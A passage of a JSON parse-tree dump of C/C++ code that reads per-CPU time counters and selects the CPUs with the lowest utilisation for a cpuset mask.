"strtoull(t_line, &t_line, 10)", "parent": 211, "children": [215, 216], "start_point": {"row": 49, "column": 33}, "end_point": {"row": 49, "column": 62}}, {"id": 215, "type": "identifier", "text": "strtoull", "parent": 214, "children": [], "start_point": {"row": 49, "column": 33}, "end_point": {"row": 49, "column": 41}}, {"id": 216, "type": "argument_list", "text": "(t_line, &t_line, 10)", "parent": 214, "children": [217, 218, 220], "start_point": {"row": 49, "column": 41}, "end_point": {"row": 49, "column": 62}}, {"id": 217, "type": "identifier", "text": "t_line", "parent": 216, "children": [], "start_point": {"row": 49, "column": 42}, "end_point": {"row": 49, "column": 48}}, {"id": 218, "type": "pointer_expression", "text": "&t_line", "parent": 216, "children": [219], "start_point": {"row": 49, "column": 50}, "end_point": {"row": 49, "column": 57}}, {"id": 219, "type": "identifier", "text": "t_line", "parent": 218, "children": [], "start_point": {"row": 49, "column": 51}, "end_point": {"row": 49, "column": 57}}, {"id": 220, "type": "number_literal", "text": "10", "parent": 216, "children": [], "start_point": {"row": 49, "column": 59}, "end_point": {"row": 49, "column": 61}}, {"id": 221, "type": "update_expression", "text": "++t_line", "parent": 157, "children": [222, 223], "start_point": {"row": 50, "column": 6}, "end_point": {"row": 50, "column": 14}}, {"id": 222, "type": "++", "text": "++", "parent": 221, "children": [], "start_point": {"row": 50, "column": 6}, "end_point": {"row": 50, "column": 8}}, {"id": 223, "type": "identifier", "text": "t_line", "parent": 221, "children": [], "start_point": {"row": 50, "column": 8}, "end_point": {"row": 50, "column": 14}}, {"id": 224, "type": "declaration", "text": "unsigned long long ntime = strtoull(t_line, &t_line, 10);", "parent": 157, "children": [225, 229], "start_point": {"row": 51, "column": 6}, "end_point": {"row": 51, "column": 63}}, {"id": 225, "type": "sized_type_specifier", "text": "unsigned long long", "parent": 224, "children": [226, 227, 228], "start_point": {"row": 51, "column": 6}, "end_point": {"row": 51, "column": 24}}, {"id": 226, "type": "unsigned", "text": "unsigned", "parent": 225, "children": [], "start_point": {"row": 51, "column": 6}, "end_point": {"row": 51, "column": 14}}, {"id": 227, "type": "long", "text": "long", "parent": 225, "children": [], "start_point": {"row": 51, "column": 15}, "end_point": {"row": 51, "column": 19}}, {"id": 228, "type": "long", "text": "long", "parent": 225, "children": [], "start_point": {"row": 51, "column": 20}, "end_point": {"row": 51, "column": 24}}, {"id": 229, "type": "init_declarator", "text": "ntime = strtoull(t_line, &t_line, 10)", "parent": 224, "children": [230, 231, 232], "start_point": {"row": 51, "column": 25}, "end_point": {"row": 51, "column": 62}}, {"id": 230, "type": "identifier", "text": "ntime", "parent": 229, "children": [], "start_point": {"row": 51, "column": 25}, "end_point": {"row": 51, "column": 30}}, {"id": 231, "type": "=", "text": "=", "parent": 229, "children": [], "start_point": {"row": 51, "column": 31}, "end_point": {"row": 51, "column": 32}}, {"id": 232, "type": "call_expression", "text": "strtoull(t_line, &t_line, 10)", "parent": 229, "children": [233, 234], "start_point": {"row": 51, "column": 33}, "end_point": {"row": 51, "column": 62}}, {"id": 233, "type": "identifier", "text": "strtoull", "parent": 232, "children": [], "start_point": {"row": 51, "column": 33}, "end_point": {"row": 51, "column": 41}}, {"id": 234, "type": "argument_list", "text": "(t_line, &t_line, 10)", "parent": 232, "children": [235, 236, 238], "start_point": {"row": 51, "column": 41}, "end_point": {"row": 51, "column": 62}}, {"id": 235, "type": "identifier", "text": "t_line", "parent": 234, "children": [], "start_point": {"row": 51, "column": 42}, "end_point": {"row": 51, "column": 48}}, {"id": 236, "type": "pointer_expression", "text": "&t_line", "parent": 234, "children": [237], "start_point": {"row": 51, "column": 50}, "end_point": {"row": 51, "column": 57}}, {"id": 237, "type": "identifier", "text": "t_line", "parent": 236, "children": [], "start_point": {"row": 51, "column": 51}, "end_point": {"row": 51, "column": 57}}, {"id": 238, "type": "number_literal", "text": "10", "parent": 234, "children": [], "start_point": {"row": 51, "column": 59}, "end_point": {"row": 51, "column": 61}}, {"id": 239, "type": "update_expression", "text": "++t_line", "parent": 157, "children": [240, 241], "start_point": {"row": 52, "column": 6}, "end_point": {"row": 52, "column": 14}}, {"id": 240, "type": "++", "text": "++", "parent": 239, "children": [], "start_point": {"row": 52, "column": 6}, "end_point": {"row": 52, "column": 8}}, {"id": 241, "type": "identifier", "text": "t_line", "parent": 239, "children": [], "start_point": {"row": 52, "column": 8}, "end_point": {"row": 52, "column": 14}}, {"id": 242, "type": "declaration", "text": "unsigned long long stime = strtoull(t_line, &t_line, 10);", "parent": 157, "children": [243, 247], "start_point": {"row": 53, "column": 6}, "end_point": {"row": 53, "column": 63}}, {"id": 243, "type": "sized_type_specifier", "text": "unsigned long long", "parent": 242, "children": [244, 245, 246], "start_point": {"row": 53, "column": 6}, "end_point": {"row": 53, "column": 24}}, {"id": 244, "type": "unsigned", "text": "unsigned", "parent": 243, "children": [], "start_point": {"row": 53, "column": 6}, "end_point": {"row": 53, "column": 14}}, {"id": 245, "type": "long", "text": "long", "parent": 243, "children": [], "start_point": {"row": 53, "column": 15}, "end_point": {"row": 53, "column": 19}}, {"id": 246, "type": "long", "text": "long", "parent": 243, "children": [], "start_point": {"row": 53, "column": 20}, "end_point": {"row": 53, "column": 24}}, {"id": 247, "type": "init_declarator", "text": "stime = strtoull(t_line, &t_line, 10)", "parent": 242, "children": [248, 249, 250], "start_point": {"row": 53, "column": 25}, "end_point": {"row": 53, "column": 62}}, {"id": 248, "type": "identifier", "text": "stime", "parent": 247, "children": [], "start_point": {"row": 53, "column": 25}, "end_point": {"row": 53, "column": 30}}, {"id": 249, "type": "=", "text": "=", "parent": 247, "children": [], "start_point": {"row": 53, "column": 31}, "end_point": {"row": 53, "column": 32}}, {"id": 250, "type": "call_expression", "text": "strtoull(t_line, &t_line, 10)", "parent": 247, "children": [251, 252], "start_point": {"row": 53, "column": 33}, "end_point": {"row": 53, "column": 62}}, {"id": 251, "type": "identifier", "text": "strtoull", "parent": 250, "children": [], "start_point": {"row": 53, "column": 33}, "end_point": {"row": 53, "column": 41}}, {"id": 252, "type": "argument_list", "text": "(t_line, &t_line, 10)", "parent": 250, "children": [253, 254, 256], "start_point": {"row": 53, "column": 41}, "end_point": {"row": 53, "column": 62}}, {"id": 253, "type": "identifier", "text": "t_line", "parent": 252, "children": [], "start_point": {"row": 53, "column": 42}, "end_point": {"row": 53, "column": 48}}, {"id": 254, "type": "pointer_expression", "text": "&t_line", "parent": 252, "children": [255], "start_point": {"row": 53, "column": 50}, "end_point": {"row": 53, "column": 57}}, {"id": 255, "type": "identifier", "text": "t_line", "parent": 254, "children": [], "start_point": {"row": 53, "column": 51}, "end_point": {"row": 53, "column": 57}}, {"id": 256, "type": "number_literal", "text": "10", "parent": 252, "children": [], "start_point": {"row": 53, "column": 59}, "end_point": {"row": 53, "column": 61}}, {"id": 257, "type": "assignment_expression", "text": "this->lasttimes[ t_cpu ] = utime + ntime + stime", "parent": 157, "children": [258, 263, 264], "start_point": {"row": 54, "column": 6}, "end_point": {"row": 54, "column": 54}}, {"id": 258, "type": "subscript_expression", "text": "this->lasttimes[ t_cpu ]", "parent": 257, "children": [259, 262], "start_point": {"row": 54, "column": 6}, "end_point": {"row": 54, "column": 30}}, {"id": 259, "type": "field_expression", "text": "this->lasttimes", "parent": 258, "children": [260, 261], "start_point": {"row": 54, "column": 6}, "end_point": {"row": 54, "column": 21}}, {"id": 260, "type": "identifier", "text": "this", "parent": 259, "children": [], "start_point": {"row": 54, "column": 6}, "end_point": {"row": 54, "column": 10}}, {"id": 261, "type": "field_identifier", "text": "lasttimes", "parent": 259, "children": [], "start_point": {"row": 54, "column": 12}, "end_point": {"row": 54, "column": 21}}, {"id": 262, "type": "identifier", "text": "t_cpu", "parent": 258, "children": [], "start_point": {"row": 54, "column": 23}, "end_point": {"row": 54, "column": 28}}, {"id": 263, "type": "=", "text": "=", "parent": 257, "children": [], "start_point": {"row": 54, "column": 31}, "end_point": {"row": 54, "column": 32}}, {"id": 264, "type": "binary_expression", "text": "utime + ntime + stime", "parent": 257, "children": [265, 269, 270], "start_point": {"row": 54, "column": 33}, "end_point": {"row": 54, "column": 54}}, {"id": 265, "type": "binary_expression", "text": "utime + ntime", "parent": 264, "children": [266, 267, 268], "start_point": {"row": 54, "column": 33}, "end_point": {"row": 54, "column": 46}}, {"id": 266, "type": "identifier", "text": "utime", "parent": 265, "children": [], "start_point": {"row": 54, "column": 33}, "end_point": {"row": 54, "column": 38}}, {"id": 267, "type": "+", "text": "+", "parent": 265, "children": [], "start_point": {"row": 54, "column": 39}, "end_point": {"row": 54, "column": 40}}, {"id": 268, "type": "identifier", "text": "ntime", "parent": 265, "children": [], "start_point": {"row": 54, "column": 41}, "end_point": {"row": 54, "column": 46}}, {"id": 269, "type": "+", "text": "+", "parent": 264, "children": [], "start_point": {"row": 54, "column": 47}, "end_point": {"row": 54, "column": 48}}, {"id": 270, "type": "identifier", "text": "stime", "parent": 264, "children": [], "start_point": {"row": 54, "column": 49}, "end_point": {"row": 54, "column": 54}}, {"id": 271, "type": "update_expression", "text": "++t_cpu", "parent": 157, "children": [272, 273], "start_point": {"row": 55, "column": 6}, "end_point": {"row": 55, "column": 13}}, {"id": 272, "type": "++", "text": "++", "parent": 271, "children": [], "start_point": {"row": 55, "column": 6}, "end_point": {"row": 55, "column": 8}}, {"id": 273, "type": "identifier", "text": "t_cpu", "parent": 271, "children": [], "start_point": {"row": 55, "column": 8}, "end_point": {"row": 55, "column": 13}}, {"id": 274, "type": "call_expression", "text": "free(line)", "parent": 56, "children": [275, 276], "start_point": {"row": 57, "column": 4}, "end_point": {"row": 57, "column": 14}}, {"id": 275, "type": "identifier", "text": "free", "parent": 274, "children": [], "start_point": {"row": 57, "column": 4}, "end_point": {"row": 57, "column": 8}}, {"id": 276, "type": "argument_list", "text": "(line)", "parent": 274, "children": [277], "start_point": {"row": 57, "column": 8}, "end_point": {"row": 57, "column": 14}}, {"id": 277, "type": "identifier", "text": "line", "parent": 276, "children": [], "start_point": {"row": 57, "column": 9}, "end_point": {"row": 57, "column": 13}}, {"id": 278, "type": "unary_expression", "text": "~stat_t(void)", "parent": 56, "children": [279, 280], "start_point": {"row": 59, "column": 2}, "end_point": {"row": 59, "column": 15}}, {"id": 279, "type": "~", "text": "~", "parent": 278, "children": [], "start_point": {"row": 59, "column": 2}, "end_point": {"row": 59, "column": 3}}, {"id": 280, "type": "call_expression", "text": "stat_t(void)", "parent": 278, "children": [281, 282], "start_point": {"row": 59, "column": 3}, "end_point": {"row": 59, "column": 15}}, {"id": 281, "type": "identifier", "text": "stat_t", "parent": 280, "children": [], "start_point": {"row": 59, "column": 3}, "end_point": {"row": 59, "column": 9}}, {"id": 282, "type": "argument_list", "text": "(void)", "parent": 280, "children": [283], "start_point": {"row": 59, "column": 9}, "end_point": {"row": 59, "column": 15}}, {"id": 283, "type": "identifier", "text": "void", "parent": 282, "children": [], "start_point": {"row": 59, "column": 10}, "end_point": {"row": 59, "column": 14}}, {"id": 284, "type": "if_statement", "text": "if (this->fd)\n fclose(this->fd);", "parent": 56, "children": [285], "start_point": {"row": 61, "column": 4}, "end_point": {"row": 62, "column": 23}}, {"id": 285, "type": "parenthesized_expression", "text": "(this->fd)", "parent": 284, "children": [286], "start_point": {"row": 61, "column": 7}, "end_point": {"row": 61, "column": 17}}, {"id": 286, "type": "field_expression", "text": "this->fd", "parent": 285, "children": [287, 288], "start_point": {"row": 61, "column": 8}, "end_point": {"row": 61, "column": 16}}, {"id": 287, "type": "identifier", "text": "this", "parent": 286, "children": [], "start_point": {"row": 61, "column": 8}, "end_point": {"row": 61, "column": 12}}, {"id": 288, "type": "field_identifier", "text": "fd", "parent": 286, "children": [], "start_point": {"row": 61, "column": 14}, "end_point": {"row": 61, "column": 16}}, {"id": 289, "type": "call_expression", "text": "fclose(this->fd)", "parent": 284, "children": [290, 291], "start_point": {"row": 62, "column": 6}, "end_point": {"row": 62, "column": 22}}, {"id": 290, "type": "identifier", "text": "fclose", "parent": 289, "children": [], "start_point": {"row": 62, "column": 6}, "end_point": {"row": 62, "column": 12}}, {"id": 291, "type": "argument_list", "text": "(this->fd)", "parent": 289, "children": [292], "start_point": {"row": 62, "column": 12}, "end_point": {"row": 62, "column": 22}}, {"id": 292, "type": "field_expression", "text": "this->fd", "parent": 291, "children": [293, 294], "start_point": {"row": 62, "column": 13}, "end_point": {"row": 62, "column": 21}}, {"id": 293, "type": "identifier", "text": "this", "parent": 292, "children": [], "start_point": {"row": 62, "column": 13}, "end_point": {"row": 62, "column": 17}}, {"id": 294, "type": "field_identifier", "text": "fd", "parent": 292, "children": [], "start_point": {"row": 62, "column": 19}, "end_point": {"row": 62, "column": 21}}, {"id": 295, "type": "function_definition", "text": "cpuset_t lowest_utilization(cpuset_t& avail_cpu_mask,\n unsigned cpu_req_amount)\n {\n cpuset_t mask(lasttimes.size());\n if (!this->fd)\n return mask;\n\n fseek(this->fd, 0, SEEK_SET);\n\n char *line = NULL;\n size_t len = 0;\n ssize_t read;\n // first line is a don't care -> summary\n getline(&line, &len, this->fd);\n\n std::list< cpu_util_t > g;\n unsigned t_cpu = 0;\n while ((read = getline(&line, &len, this->fd)) != -1\n && t_cpu < lasttimes.size()) {\n char *t_line = line;\n t_line += 3; // cpu\n t_line += t_cpu / 10; // NUM\n ++t_line; // empty space\n unsigned long long utime = strtoull(t_line, &t_line, 10);\n ++t_line;\n unsigned long long ntime = strtoull(t_line, &t_line, 10);\n ++t_line;\n unsigned long long stime = strtoull(t_line, &t_line, 10);\n\n unsigned long long cmp_diff = (utime + ntime + stime) - this->lasttimes[ t_cpu ];\n this->lasttimes[ t_cpu ] = utime + ntime + stime;\n\n if (avail_cpu_mask.isset_bit(t_cpu))\n g.push_back({ cmp_diff, t_cpu });\n\n ++t_cpu;\n }\n free(line);\n\n g.sort(cmp_sort);\n\n for (unsigned c = 0; c < cpu_req_amount\n && !g.empty(); ++c) {\n mask.set_bit(g.front().cpu);\n g.pop_front();\n }\n\n return mask;\n }", "parent": 56, "children": [296, 297], "start_point": {"row": 65, "column": 2}, "end_point": {"row": 113, "column": 3}}, {"id": 296, "type": "type_identifier", "text": "cpuset_t", "parent": 295, "children": [], "start_point": {"row": 65, "column": 2}, "end_point": {"row": 65, "column": 10}}, {"id": 297, "type": "function_declarator", "text": "lowest_utilization(cpuset_t& avail_cpu_mask,\n unsigned cpu_req_amount)", "parent": 295, "children": [298, 299], "start_point": {"row": 65, "column": 11}, "end_point": {"row": 66, "column": 54}}, {"id": 298, "type": "identifier", "text": "lowest_utilization", "parent": 297, "children": [], "start_point": {"row": 65, "column": 11}, "end_point": {"row": 65, "column": 29}}, {"id": 299, "type": "parameter_list", "text": "(cpuset_t& avail_cpu_mask,\n unsigned cpu_req_amount)", "parent": 297, "children": [300, 303], "start_point": {"row": 65, "column": 29}, "end_point": {"row": 66, "column": 54}}, {"id": 300, "type": "parameter_declaration", "text": "cpuset_t& avail_cpu_mask", "parent": 299, "children": [301, 302], "start_point": {"row": 65, "column": 30}, "end_point": {"row": 65, "column": 54}}, {"id": 301, "type": "type_identifier", "text": "cpuset_t", "parent": 300, "children": [], "start_point": {"row": 65, "column": 30}, "end_point": {"row": 65, "column": 38}}, {"id": 302, "type": "identifier", "text": "avail_cpu_mask", "parent": 300, "children": [], "start_point": {"row": 65, "column": 40}, "end_point": {"row": 65, "column": 54}}, {"id": 303, "type": "parameter_declaration", "text": "unsigned cpu_req_amount", "parent": 299, "children": [304, 306], "start_point": {"row": 66, "column": 30}, "end_point": {"row": 66, "column": 53}}, {"id": 304, "type": "sized_type_specifier", "text": "unsigned", "parent": 303, "children": [305], "start_point": {"row": 66, "column": 30}, "end_point": {"row": 66, "column": 38}}, {"id": 305, "type": "unsigned", "text": "unsigned", "parent": 304, "children": [], "start_point": {"row": 66, "column": 30}, "end_point": {"row": 66, "column": 38}}, {"id": 306, "type": "identifier", "text": "cpu_req_amount", "parent": 303, "children": [], "start_point": {"row": 66, "column": 39}, "end_point": {"row": 66, "column": 53}}, {"id": 307, "type": "declaration", "text": "cpuset_t mask(lasttimes.size());", "parent": 295, "children": [308, 309], "start_point": {"row": 68, "column": 4}, "end_point": {"row": 68, "column": 36}}, {"id": 308, "type": "type_identifier", "text": "cpuset_t", "parent": 307, "children": [], "start_point": {"row": 68, "column": 4}, "end_point": {"row": 68, "column": 12}}, {"id": 309, "type": "function_declarator", "text": "mask(lasttimes.size())", "parent": 307, "children": [310, 311], "start_point": {"row": 68, "column": 13}, "end_point": {"row": 68, "column": 35}}, {"id": 310, "type": "identifier", "text": "mask", "parent": 309, "children": [], "start_point": {"row": 68, "column": 13}, "end_point": {"row": 68, "column": 17}}, {"id": 311, "type": "parameter_list", "text": "(lasttimes.size())", "parent": 309, "children": [312], "start_point": {"row": 68, "column": 17}, "end_point": {"row": 68, "column": 35}}, {"id": 312, "type": "parameter_declaration", "text": "lasttimes.size()", "parent": 311, "children": [313, 314], "start_point": {"row": 68, "column": 18}, "end_point": {"row": 68, "column": 34}}, {"id": 313, "type": "type_identifier", "text": "lasttimes", "parent": 312, "children": [], "start_point": {"row": 68, "column": 18}, "end_point": {"row": 68, "column": 27}}, {"id": 314, "type": "function_declarator", "text": "size()", "parent": 312, "children": [315, 316], "start_point": {"row": 68, "column": 28}, "end_point": {"row": 68, "column": 34}}, {"id": 315, "type": "identifier", "text": "size", "parent": 314, "children": [], "start_point": {"row": 68, "column": 28}, "end_point": {"row": 68, "column": 32}}, {"id": 316, "type": "parameter_list", "text": "()", "parent": 314, "children": [], "start_point": {"row": 68, "column": 32}, "end_point": {"row": 68, "column": 34}}, {"id": 317, "type": "if_statement", "text": "if (!this->fd)\n return mask;", "parent": 295, "children": [318, 324], "start_point": {"row": 69, "column": 4}, "end_point": {"row": 70, "column": 18}}, {"id": 318, "type": "parenthesized_expression", "text": "(!this->fd)", "parent": 317, "children": [319], "start_point": {"row": 69, "column": 7}, "end_point": {"row": 69, "column": 18}}, {"id": 319, "type": "unary_expression", "text": "!this->fd", "parent": 318, "children": [320, 321], "start_point": {"row": 69, "column": 8}, "end_point": {"row": 69, "column": 17}}, {"id": 320, "type": "!", "text": "!", "parent": 319, "children": [], "start_point": {"row": 69, "column": 8}, "end_point": {"row": 69, "column": 9}}, {"id": 321, "type": "field_expression", "text": "this->fd", "parent": 319, "children": [322, 323], "start_point": {"row": 69, "column": 9}, "end_point": {"row": 69, "column": 17}}, {"id": 322, "type": "identifier", "text": "this", "parent": 321, "children": [], "start_point": {"row": 69, "column": 9}, "end_point": {"row": 69, "column": 13}}, {"id": 323, "type": "field_identifier", "text": "fd", "parent": 321, "children": [], "start_point": {"row": 69, "column": 15}, "end_point": {"row": 69, "column": 17}}, {"id": 324, "type": "return_statement", "text": "return mask;", "parent": 317, "children": [325], "start_point": {"row": 70, "column": 6}, "end_point": {"row": 70, "column": 18}}, {"id": 325, "type": "identifier", "text": "mask", "parent": 324, "children": [], "start_point": {"row": 70, "column": 13}, "end_point": {"row": 70, "column": 17}}, {"id": 326, "type": "call_expression", "text": "fseek(this->fd, 0, SEEK_SET)", "parent": 295, "children": [327, 328], "start_point": {"row": 72, "column": 4}, "end_point": {"row": 72, "column": 32}}, {"id": 327, "type": "identifier", "text": "fseek", "parent": 326, "children": [], "start_point": {"row": 72, "column": 4}, "end_point": {"row": 72, "column": 9}}, {"id": 328, "type": "argument_list", "text": "(this->fd, 0, SEEK_SET)", "parent": 326, "children": [329, 332, 333], "start_point": {"row": 72, "column": 9}, "end_point": {"row": 72, "column": 32}}, {"id": 329, "type": "field_expression", "text": "this->fd", "parent": 328, "children": [330, 331], "start_point": {"row": 72, "column": 10}, "end_point": {"row": 72, "column": 18}}, {"id": 330, "type": "identifier", "text": "this", "parent": 329, "children": [], "start_point": {"row": 72, "column": 10}, "end_point": {"row": 72, "column": 14}}, {"id": 331, "type": "field_identifier", "text": "fd", "parent": 329, "children": [], "start_point": {"row": 72, "column": 16}, "end_point": {"row": 72, "column": 18}}, {"id": 332, "type": "number_literal", "text": "0", "parent": 328, "children": [], "start_point": {"row": 72, "column": 20}, "end_point": {"row": 72, "column": 21}}, {"id": 333, "type": "identifier", "text": "SEEK_SET", "parent": 328, "children": [], "start_point": {"row": 72, "column": 23}, "end_point": {"row": 72, "column": 31}}, {"id": 334, "type": "declaration", "text": "char *line = NULL;", "parent": 295, "children": [335, 336], "start_point": {"row": 74, "column": 4}, "end_point": {"row": 74, "column": 22}}, {"id": 335, "type": "primitive_type", "text": "char", "parent": 334, "children": [], "start_point": {"row": 74, "column": 4}, "end_point": {"row": 74, "column": 8}}, {"id": 336, "type": "init_declarator", "text": "*line = NULL", "parent": 334, "children": [337, 340, 341], "start_point": {"row": 74, "column": 9}, "end_point": {"row": 74, "column": 21}}, {"id": 337, "type": "pointer_declarator", "text": "*line", "parent": 336, "children": [338, 339], "start_point": {"row": 74, "column": 9}, "end_point": {"row": 74, "column": 14}}, {"id": 338, "type": "*", "text": "*", "parent": 337, "children": [], "start_point": {"row": 74, "column": 9}, "end_point": {"row": 74, "column": 10}}, {"id": 339, "type": "identifier", "text": "line", "parent": 337, "children": [], "start_point": {"row": 74, "column": 10}, "end_point": {"row": 74, "column": 14}}, {"id": 340, "type": "=", "text": "=", "parent": 336, "children": [], "start_point": {"row": 74, "column": 15}, "end_point": {"row": 74, "column": 16}}, {"id": 341, "type": "null", "text": "NULL", "parent": 336, "children": [342], "start_point": {"row": 74, "column": 17}, "end_point": {"row": 74, "column": 21}}, {"id": 342, "type": "NULL", "text": "NULL", "parent": 341, "children": [], "start_point": {"row": 74, "column": 17}, "end_point": {"row": 74, "column": 21}}, {"id": 343, "type": "declaration", "text": "size_t len = 0;", "parent": 295, "children": [344, 345], "start_point": {"row": 75, "column": 4}, "end_point": {"row": 75, "column": 19}}, {"id": 344, "type": "primitive_type", "text": "size_t", "parent": 343, "children": [], "start_point": {"row": 75, "column": 4}, "end_point": {"row": 75, "column": 10}}, {"id": 345, "type": "init_declarator", "text": "len = 0", "parent": 343, "children": [346, 347, 348], "start_point": {"row": 75, "column": 11}, "end_point": {"row": 75, "column": 18}}, {"id": 346, "type": "identifier", "text": "len", "parent": 345, "children": [], "start_point": {"row": 75, "column": 11}, "end_point": {"row": 75, "column": 14}}, {"id": 347, "type": "=", "text": "=", "parent": 345, "children": [], "start_point": {"row": 75, "column": 15}, "end_point": {"row": 75, "column": 16}}, {"id": 348, "type": "number_literal", "text": "0", "parent": 345, "children": [], "start_point": {"row": 75, "column": 17}, "end_point": {"row": 75, "column": 18}}, {"id": 349, "type": "declaration", "text": "ssize_t read;", "parent": 295, "children": [350, 351], "start_point": {"row": 76, "column": 4}, "end_point": {"row": 76, "column": 17}}, {"id": 350, "type": "primitive_type", "text": "ssize_t", "parent": 349, "children": [], "start_point": {"row": 76, "column": 4}, "end_point": {"row": 76, "column": 11}}, {"id": 351, "type": "identifier", "text": "read", "parent": 349, "children": [], "start_point": {"row": 76, "column": 12}, "end_point": {"row": 76, "column": 16}}, {"id": 352, "type": "call_expression", "text": "getline(&line, &len, this->fd)", "parent": 295, "children": [353, 354], "start_point": {"row": 78, "column": 4}, "end_point": {"row": 78, "column": 34}}, {"id": 353, "type": "identifier", "text": "getline", "parent": 352, "children": [], "start_point": {"row": 78, "column": 4}, "end_point": {"row": 78, "column": 11}}, {"id": 354, "type": "argument_list", "text": "(&line, &len, this->fd)", "parent": 352, "children": [355, 357, 359], "start_point": {"row": 78, "column": 11}, "end_point": {"row": 78, "column": 34}}, {"id": 355, "type": "pointer_expression", "text": "&line", "parent": 354, "children": [356], "start_point": {"row": 78, "column": 12}, "end_point": {"row": 78, "column": 17}}, {"id": 356, "type": "identifier", "text": "line", "parent": 355, "children": [], "start_point": {"row": 78, "column": 13}, "end_point": {"row": 78, "column": 17}}, {"id": 357, "type": "pointer_expression", "text": "&len", "parent": 354, "children": [358], "start_point": {"row": 78, "column": 19}, "end_point": {"row": 78, "column": 23}}, {"id": 358, "type": "identifier", "text": "len", "parent": 357, "children": [], "start_point": {"row": 78, "column": 20}, "end_point": {"row": 78, "column": 23}}, {"id": 359, "type": "field_expression", "text": "this->fd", "parent": 354, "children": [360, 361], "start_point": {"row": 78, "column": 25}, "end_point": {"row": 78, "column": 33}}, {"id": 360, "type": "identifier", "text": "this", "parent": 359, "children": [], "start_point": {"row": 78, "column": 25}, "end_point": {"row": 78, "column": 29}}, {"id": 361, "type": "field_identifier", "text": "fd", "parent": 359, "children": [], "start_point": {"row": 78, "column": 31}, "end_point": {"row": 78, "column": 33}}, {"id": 362, "type": "labeled_statement", "text": "std::list< cpu_util_t > g;", "parent": 295, "children": [363], "start_point": {"row": 80, "column": 4}, "end_point": {"row": 80, "column": 30}}, {"id": 363, "type": "statement_identifier", "text": "std", "parent": 362, "children": [], "start_point": {"row": 80, "column": 4}, "end_point": {"row": 80, "column": 7}}, {"id": 364, "type": "binary_expression", "text": "list< cpu_util_t > g", "parent": 362, "children": [365, 369, 370], "start_point": {"row": 80, "column": 9}, "end_point": {"row": 80, "column": 29}}, {"id": 365, "type": "binary_expression", "text": "list< cpu_util_t", "parent": 364, "children": [366, 367, 368], "start_point": {"row": 80, "column": 9}, "end_point": {"row": 80, "column": 25}}, {"id": 366, "type": "identifier", "text": "list", "parent": 365, "children": [], "start_point": {"row": 80, "column": 9}, "end_point": {"row": 80, "column": 13}}, {"id": 367, "type": "<", "text": "<", "parent": 365, "children": [], "start_point": {"row": 80, "column": 13}, "end_point": {"row": 80, "column": 14}}, {"id": 368, "type": "identifier", "text": "cpu_util_t", "parent": 365, "children": [], "start_point": {"row": 80, "column": 15}, "end_point": {"row": 80, "column": 25}}, {"id": 369, "type": ">", "text": ">", "parent": 364, "children": [], "start_point": {"row": 80, "column": 26}, "end_point": {"row": 80, "column": 27}}, {"id": 370, "type": "identifier", "text": "g", "parent": 364, "children": [], "start_point": {"row": 80, "column": 28}, "end_point": {"row": 80, "column": 29}}, {"id": 371, "type": "declaration", "text": "unsigned t_cpu = 0;", "parent": 295, "children": [372, 374], "start_point": {"row": 81, "column": 4}, "end_point": {"row": 81, "column": 23}}, {"id": 372, "type": "sized_type_specifier", "text": "unsigned", "parent": 371, "children": [373], "start_point": {"row": 81, "column": 4}, "end_point": {"row": 81, "column": 12}}, {"id": 373, "type": "unsigned", "text": "unsigned", "parent": 372, "children": [], "start_point": {"row": 81, "column": 4}, "end_point": {"row": 81, "column": 12}}, {"id": 374, "type": "init_declarator", "text": "t_cpu = 0", "parent": 371, "children": [375, 376, 377], "start_point": {"row": 81, "column": 13}, "end_point": {"row": 81, "column": 22}}, {"id": 375, "type": "identifier", "text": "t_cpu", "parent": 374, "children": [], "start_point": {"row": 81, "column": 13}, "end_point": {"row": 81, "column": 18}}, {"id": 376, "type": "=", "text": "=", "parent": 374, "children": [], "start_point": {"row": 81, "column": 19}, "end_point": {"row": 81, "column": 20}}, {"id": 377, "type": "number_literal", "text": "0", "parent": 374, "children": [], "start_point": {"row": 81, "column": 21}, "end_point": {"row": 81, "column": 22}}, {"id": 378, "type": "while_statement", "text": "while ((read = getline(&line, &len, this->fd)) != -1\n && t_cpu < lasttimes.size()) {\n char *t_line = line;\n t_line += 3; // cpu\n t_line += t_cpu / 10; // NUM\n ++t_line; // empty space\n unsigned long long utime = strtoull(t_line, &t_line, 10);\n ++t_line;\n unsigned long long ntime = strtoull(t_line, &t_line, 10);\n ++t_line;\n unsigned long long stime = strtoull(t_line, &t_line, 10);\n\n unsigned long long cmp_diff = (utime + ntime + stime) - this->lasttimes[ t_cpu ];\n this->lasttimes[ t_cpu ] = utime + ntime + stime;\n\n if (avail_cpu_mask.isset_bit(t_cpu))\n g.push_back({ cmp_diff, t_cpu });\n\n ++t_cpu;\n }", "parent": 295, "children": [379], "start_point": {"row": 82, "column": 4}, "end_point": {"row": 101, "column": 5}}, {"id": 379, "type": "parenthesized_expression", "text": "((read = getline(&line, &len, this->fd)) != -1\n && t_cpu < lasttimes.size())", "parent": 378, "children": [380], "start_point": {"row": 82, "column": 10}, "end_point": {"row": 83, "column": 39}}, {"id": 380, "type": "binary_expression", "text": "(read = getline(&line, &len, this->fd)) != -1\n && t_cpu < lasttimes.size()", "parent": 379, "children": [381, 398, 399], "start_point": {"row": 82, "column": 11}, "end_point": {"row": 83, "column": 38}}, {"id": 381, "type": "binary_expression", "text": "(read = getline(&line, &len, this->fd)) != -1", "parent": 380, "children": [382, 396, 397], "start_point": {"row": 82, "column": 11}, "end_point": {"row": 82, "column": 56}}, {"id": 382, "type": "parenthesized_expression", "text": "(read = getline(&line, &len, this->fd))", "parent": 381, "children": [383], "start_point": {"row": 82, "column": 11}, "end_point": {"row": 82, "column": 50}}, {"id": 383, "type": "assignment_expression", "text": "read = getline(&line, &len, this->fd)", "parent": 382, "children": [384, 385, 386], "start_point": {"row": 82, "column": 12}, "end_point": {"row": 82, "column": 49}}, {"id": 384, "type": "identifier", "text": "read", "parent": 383, "children": [], "start_point": {"row": 82, "column": 12}, "end_point": {"row": 82, "column": 16}}, {"id": 385, "type": "=", "text": "=", "parent": 383, "children": [], "start_point": {"row": 82, "column": 17}, "end_point": {"row": 82, "column": 18}}, {"id": 386, "type": "call_expression", "text": "getline(&line, &len, this->fd)", "parent": 383, "children": [387, 388], "start_point": {"row": 82, "column": 19}, "end_point": {"row": 82, "column": 49}}, {"id": 387, "type": "identifier", "text": "getline", "parent": 386, "children": [], "start_point": {"row": 82, "column": 19}, "end_point": {"row": 82, "column": 26}}, {"id": 388, "type": "argument_list", "text": "(&line, &len, this->fd)", "parent": 386, "children": [389, 391, 393], "start_point": {"row": 82, "column": 26}, "end_point": {"row": 82, "column": 49}}, {"id": 389, "type": "pointer_expression", "text": "&line", "parent": 388, "children": [390], "start_point": 